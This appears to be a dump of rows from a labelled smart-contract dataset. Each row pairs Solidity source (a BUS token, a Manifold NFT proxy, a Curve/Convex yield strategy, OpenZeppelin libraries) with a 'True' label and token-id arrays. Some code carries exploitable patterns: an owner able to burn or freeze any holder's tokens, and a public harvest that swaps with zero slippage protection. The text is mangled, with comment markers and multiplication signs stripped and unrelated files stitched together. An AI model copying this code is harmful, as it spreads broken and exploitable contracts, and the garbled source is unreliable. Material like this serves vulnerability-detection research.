safeDiv(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) { revert(); } } } contract BUS is ERC20, Owned, SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances / mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; / This generates a public event on the blockchain that will notify clients / event Transfer(address indexed from, address indexed to, uint256 value); / This notifies clients about the amount burnt / event Burn(address indexed from, uint256 value); / This notifies clients about the amount frozen / event Freeze(address indexed from, uint256 value); / This notifies clients about the amount unfrozen / event Unfreeze(address indexed from, uint256 value); / Initializes contract with initial supply tokens to the creator of the contract / function BUS(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) public{ balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; } / Send coins / function transfer(address _to, uint256 _value) public returns (bool success){ require(_to != 0x0); require(_value > 0); require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); return true; } / A contract attempts to get the coins / function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != 0x0); require(_value > 0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } / Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) public returns (bool success) { require(_value > 0); allowance[msg.sender][_spender] = _value; return true; } function burn(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(balanceOf[_target] >= _value); balanceOf[_target] = SafeMath.safeSub(balanceOf[_target], _value); totalSupply = SafeMath.safeSub(totalSupply,_value); Burn(_target, _value); return true; } function freeze(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(balanceOf[_target] >= _value); balanceOf[_target] = SafeMath.safeSub(balanceOf[_target], _value); freezeOf[_target] = SafeMath.safeAdd(freezeOf[_target], _value); Freeze(_target, _value); return true; } function unfreeze(address _target, uint256 _value) onlyOwner public returns (bool success) { require(_value > 0); require(_target != 0x0); require(freezeOf[_target] >= _value); freezeOf[_target] = SafeMath.safeSub(freezeOf[_target], _value); balanceOf[_target] = SafeMath.safeAdd(balanceOf[_target], _value); Unfreeze(_target, _value); return true; } function withdrawEther(uint256 amount) onlyOwner public{ owner.transfer(amount); } function() payable public{ } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3206, 9413, 2278, 11387, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 14300, 1006, 4769, 1035, 5247, 2121, 1010, 21318, 3372, 1035, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 1035, 2013, 1010, 4769, 25331, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1007, 1025, 1013, 1008, 2023, 2025, 14144, 7846, 2055, 1996, 3815, 11060, 1008, 1013, 2724, 6402, 1006, 4769, 25331, 2013, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1013, 1008, 2023, 2025, 14144, 7846, 2055, 1996, 3815, 7708, 1008, 1013, 2724, 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: CGPOV /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // ________/\\\\\\\\\_ _____/\\\\\\\\\\\\_ __/\\\\\\\\\\\\\___ _______/\\\\\______ __/\\\________/\\\_ // // _____/\\\////////__ ___/\\\//////////__ _\/\\\/////////\\\_ _____/\\\///\\\____ _\/\\\_______\/\\\_ // // ___/\\\/___________ __/\\\_____________ _\/\\\_______\/\\\_ ___/\\\/__\///\\\__ _\//\\\______/\\\__ // // __/\\\_____________ _\/\\\____/\\\\\\\_ _\/\\\\\\\\\\\\\/__ __/\\\______\//\\\_ __\//\\\____/\\\___ // // _\/\\\_____________ _\/\\\___\/////\\\_ _\/\\\/////////____ _\/\\\_______\/\\\_ ___\//\\\__/\\\____ // // _\//\\\____________ _\/\\\_______\/\\\_ _\/\\\_____________ _\//\\\______/\\\__ ____\//\\\/\\\_____ // // __\///\\\__________ _\/\\\_______\/\\\_ _\/\\\_____________ __\///\\\__/\\\____ _____\//\\\\\______ // // ____\////\\\\\\\\\_ _\//\\\\\\\\\\\\/__ _\/\\\_____________ ____\///\\\\\/_____ ______\//\\\_______ // // _______\/////////__ __\////////////____ _\///______________ ______\/////_______ _______\///________ // // // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract CGPOV is ERC721Creator { constructor() ERC721Creator("CGPOV", "CGPOV") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. / bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /* * @dev Returns the current implementation address. / function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /* * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. / abstract contract Proxy { /* * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. / function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /* * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. / function _implementation() internal view virtual returns (address); /* * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. / function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /* * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. / fallback() external payable virtual { _fallback(); } /* * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. / receive() external payable virtual { _fallback(); } /* * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. / function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /* * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ / library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /* * @dev Returns an `AddressSlot` with member `value` located at `slot`. / function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `BooleanSlot` with member `value` located at `slot`. / function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. / function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 1039, 21600, 4492, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 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// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./interface/IStrategy.sol"; import "./interface/ICurveFi.sol"; import "./interface/IConvexBaseReward.sol"; import "./interface/IConvexBooster.sol"; import "./interface/IUniswapV2Router01.sol"; contract AnkrethStrategy is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; address public crvLpToken; address public crvPool; address public nativeVault; address public convexReward; uint256 public poolId; address public sushiRouter; address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address public constant ankr = address(0x8290333ceF9e6D528dD5618Fb97a76f268f3EDD4); address public constant onx = address(0xE0aD1806Fd3E7edF6FF52Fdb822432e847411033); address public convexBooster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31); // Slippage tolerance accepted (10 = 0.1%) uint8 public SLIPPAGE_TOLERANCE = 10; event Withdraw(uint256 amount); event Deposit(uint256 amount); event Harvest(uint256 crvAmount, uint256 cvxAmount, uint256 lpAmount); mapping(address => uint256) public balance; modifier onlyNativeVault { require(msg.sender == nativeVault, "You are not allowed"); _; } constructor(address _crvLpToken, address _curvePool, uint256 _poolId, address _convexRewards, address _sushiRouter) { crvLpToken = _crvLpToken; crvPool = _curvePool; poolId = _poolId; convexReward = _convexRewards; sushiRouter = _sushiRouter; } receive() external payable {} function deposit() external onlyNativeVault payable returns (uint256){ require(msg.value > 0, "Deposit positive amount"); uint256 amountToDeposit = msg.value; uint256 lpAmount = _deposit(amountToDeposit); return lpAmount; } function withdraw(uint256 lpAmount) onlyNativeVault external returns (uint256) { return _withdraw(lpAmount); } function withdrawAll() onlyNativeVault external returns (uint256) { uint256 lpAmount = IConvexBaseReward(convexReward).balanceOf(address(this)); return _withdraw(lpAmount); } function harvest(bool _compoundRewards) external { require(IConvexBaseReward(convexReward).getReward(), "Convex claim failed"); uint256 lpAmount = 0; uint256 crvBal = IERC20(crv).balanceOf(address(this)); uint256 cvxBal = IERC20(cvx).balanceOf(address(this)); uint256 onxBal = IERC20(onx).balanceOf(address(this)); uint256 ankrBal = IERC20(ankr).balanceOf(address(this)); if (crvBal > 0) { _swapRewardForEth(crv, crvBal); } if (cvxBal > 0) { _swapRewardForEth(cvx, cvxBal); } if (onxBal > 0) { _swapRewardForEth(onx, onxBal); } if (ankrBal > 0) { _swapRewardForEth(ankr, ankrBal); } if (address(this).balance > 0) { if (_compoundRewards) { lpAmount = _deposit(address(this).balance); } else { (bool success,) = payable(nativeVault).call{value : address(this).balance}(""); require(success, "Transfer failed."); } } emit Harvest(crvBal, cvxBal, lpAmount); } function _deposit(uint256 _amountToDeposit) internal returns (uint256) { uint256 lpAmount = getCurveLp(_amountToDeposit); depositInConvex(lpAmount); emit Deposit(msg.value); return lpAmount; } function _withdraw(uint256 lpAmount) internal returns (uint256) { require(lpAmount > 0, "Withdraw positive amount please"); //get crv lp back from Convex by withdrawAndUnwraping IConvexBaseReward(convexReward).withdrawAndUnwrap(lpAmount, false); uint256 amountEthOut = _removeCurveLiquidity(lpAmount); (bool success,) = payable(msg.sender).call{value : amountEthOut}(""); require(success, "Transfer failed."); emit Withdraw(amountEthOut); return amountEthOut; } function _removeCurveLiquidity(uint256 _amount) internal returns (uint256) { //eth is index 0 uint256 minEthAmount = ICurveFi(crvPool).calc_withdraw_one_coin(_amount, 0); //slippage tolerance on our side uint256 minEthAmountWithSlippage = minEthAmount.mul(1000 - SLIPPAGE_TOLERANCE).div(1000); return ICurveFi(crvPool).remove_liquidity_one_coin(_amount, 0, minEthAmountWithSlippage); } function _swapRewardForEth(address _tokenReward, uint256 _amount) internal { require(IERC20(_tokenReward).approve(sushiRouter, _amount), "approved failed"); address[] memory path = new address[](2); path[0] = _tokenReward; path[1] = IUniswapV2Router01(sushiRouter).WETH(); IUniswapV2Router01(sushiRouter).swapExactTokensForETH(_amount, 0, path, address(this), block.timestamp + 10); } function getCurveLp(uint256 _amountToDeposit) internal returns (uint256){ //Slippage taken into account in calc_token_amount but not fees. Cannot do better uint256 minLpMint = ICurveFi(crvPool).calc_token_amount([_amountToDeposit, 0], true); //slippage tolerance on our side uint256 mintLpWithSlippage = minLpMint.mul(1000 - SLIPPAGE_TOLERANCE).div(1000); return ICurveFi(crvPool).add_liquidity{value : _amountToDeposit}([_amountToDeposit, 0], mintLpWithSlippage); } function depositInConvex(uint256 _lpAmount) internal { IERC20(crvLpToken).approve(convexBooster, _lpAmount); require(IConvexBooster(convexBooster).depositAll(poolId, true), 'Convex deposit failed'); } function setPoolId(uint256 _poolId) external onlyOwner { poolId = _poolId; } function setNativeVault(address _nativeVault) external onlyOwner { nativeVault = _nativeVault; } function setSlippageTolerance(uint8 _newSlipTolerance) external onlyOwner { SLIPPAGE_TOLERANCE = _newSlipTolerance; } function setConvexBooster(address _newConvexBooster) external onlyOwner { convexBooster = _newConvexBooster; } function setConvexReward(address _newConvexReward) external onlyOwner { convexReward = _newConvexReward; } function setSushiRouter(address _newSushiRouter) external onlyOwner { sushiRouter = _newSushiRouter; } function getVirtualBalance() external returns (uint256) { uint256 cvxLpBal = IConvexBaseReward(convexReward).balanceOf(address(this)); uint256 lpVirtualPrice = ICurveFi(crvPool).get_virtual_price(); uint256 virtualBal = cvxLpBal * lpVirtualPrice / 1e18; return virtualBal; } // @dev https://news.curve.fi/chainlink-oracles-and-curve-pools/ function getConvexLpBalance() external view returns (uint256) { return IConvexBaseReward(convexReward).balanceOf(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * 